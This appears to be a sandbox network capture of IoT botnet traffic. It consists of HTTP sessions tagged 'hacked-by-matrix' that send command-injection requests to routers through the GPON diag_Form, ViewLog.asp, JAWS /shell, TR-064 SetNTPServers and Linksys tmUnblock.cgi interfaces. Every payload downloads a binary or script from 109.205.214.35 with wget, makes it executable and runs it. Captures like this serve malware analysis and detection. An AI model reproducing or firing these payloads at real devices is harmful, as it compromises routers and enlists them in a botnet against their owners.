Mar 21, 2024 05:18:25.405153990 CET	1286	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=utf-8 Date: Thu, 21 Mar 2024 04:18:25 GMT Connection: close Content-Length: 2959 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 20 7c 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 61 67 65 3d 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 31 38 32 33 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 39 65 61 65 64 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 41 72 69 61 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 69 63 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 70 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 31 39 37 61 33 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 38 70 78 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en" id="facebook"> <head> <title>Facebook \| Error</title> <meta charset="utf-8"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="cache-control" content="no-store"> <meta http-equiv="cache-control" content="max-age=0"> <meta http-equiv="expires" content="-1"> <meta http-equiv="pragma" content="no-cache"> <meta name="robots" content="noindex,nofollow"> <style> html, body { color: #141823; background-color: #e9eaed; font-family: Helvetica, Lucida Grande, Arial, Tahoma, Verdana, sans-serif; margin: 0; padding: 0; text-align: center; } #header { height: 30px; padding-bottom: 10px; padding-top: 10px; text-align: center; } #icon { width: 30px; } h1 { font-size: 18px; } p { font-size: 13px; } #footer { border-top: 1px solid #ddd; color: #9197a3; font-size: 12px; padding: 5px 8px 6px 0; } </style>
Mar 21, 2024 05:18:25.405230999 CET	1286	IN	Data Raw: 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 3e 0a 20 20 20 20 20 Data Ascii: </head> <body> <div id="header"> <a href="//www.facebook.com/"> <img id="icon" src="//static.facebook.com/images/logos/facebook_2x.png" /> </a> </div> <div id="core"> <h1 id="sorry">Sorry, something wen
Mar 21, 2024 05:18:25.405297041 CET	569	IN	Data Raw: 42 79 49 64 28 27 68 65 6c 70 2d 6c 69 6e 6b 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 3c 20 32 Data Ascii: ById('help-link').style.display = 'none'; }; if (window.innerWidth < 200) { document.getElementById('sorry').style.fontSize = '16px'; }; if (window.innerWidth < 150) { document.getElementById('promise').

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.23	57550	79.188.205.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.255414963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.23	35618	200.114.57.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.420120955 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:24.600241899 CET	224	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Type: text/plain Server: proxygen-bolt Date: Thu, 21 Mar 2024 04:18:24 GMT Connection: keep-alive Content-Length: 0
Mar 21, 2024 05:18:24.600419998 CET	1286	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=utf-8 Date: Thu, 21 Mar 2024 04:18:24 GMT Connection: close Content-Length: 2959 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 20 7c 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 61 67 65 3d 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 31 38 32 33 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 39 65 61 65 64 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 41 72 69 61 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 69 63 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 70 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 23 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 31 39 37 61 33 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 38 70 78 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en" id="facebook"> <head> <title>Facebook \| Error</title> <meta charset="utf-8"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="cache-control" content="no-store"> <meta http-equiv="cache-control" content="max-age=0"> <meta http-equiv="expires" content="-1"> <meta http-equiv="pragma" content="no-cache"> <meta name="robots" content="noindex,nofollow"> <style> html, body { color: #141823; background-color: #e9eaed; font-family: Helvetica, Lucida Grande, Arial, Tahoma, Verdana, sans-serif; margin: 0; padding: 0; text-align: center; } #header { height: 30px; padding-bottom: 10px; padding-top: 10px; text-align: center; } #icon { width: 30px; } h1 { font-size: 18px; } p { font-size: 13px; } #footer { border-top: 1px solid #ddd; color: #9197a3; font-size: 12px; padding: 5px 8px 6px 0; } </style>
Mar 21, 2024 05:18:24.600471020 CET	1286	IN	Data Raw: 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 3e 0a 20 20 20 20 20 Data Ascii: </head> <body> <div id="header"> <a href="//www.facebook.com/"> <img id="icon" src="//static.facebook.com/images/logos/facebook_2x.png" /> </a> </div> <div id="core"> <h1 id="sorry">Sorry, something wen
Mar 21, 2024 05:18:24.600507021 CET	569	IN	Data Raw: 42 79 49 64 28 27 68 65 6c 70 2d 6c 69 6e 6b 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 3c 20 32 Data Ascii: ById('help-link').style.display = 'none'; }; if (window.innerWidth < 200) { document.getElementById('sorry').style.fontSize = '16px'; }; if (window.innerWidth < 150) { document.getElementById('promise').

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.23	37244	108.156.50.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.600543022 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:24.768927097 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.23	52794	200.84.129.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.600872040 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:24.777728081 CET	145	IN	HTTP/1.1 200 OK Cache-control:no-cache Content-Type:text/html Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive
Mar 21, 2024 05:18:24.778386116 CET	467	IN	Data Raw: 31 63 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: 1c7<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" http-equiv="Content-T

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.23	34182	18.196.132.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.606429100 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:24.776072025 CET	134	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.23	53400	71.208.67.179	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:25.130285025 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.23	53422	71.208.67.179	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:25.256711960 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.23	53618	47.205.87.116	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:26.139508963 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:26.555046082 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.23	43720	34.120.196.64	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.057732105 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.23	54050	210.58.233.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.262893915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.23	57484	210.210.69.249	443

Timestamp	Bytes transferred	Direction	Data
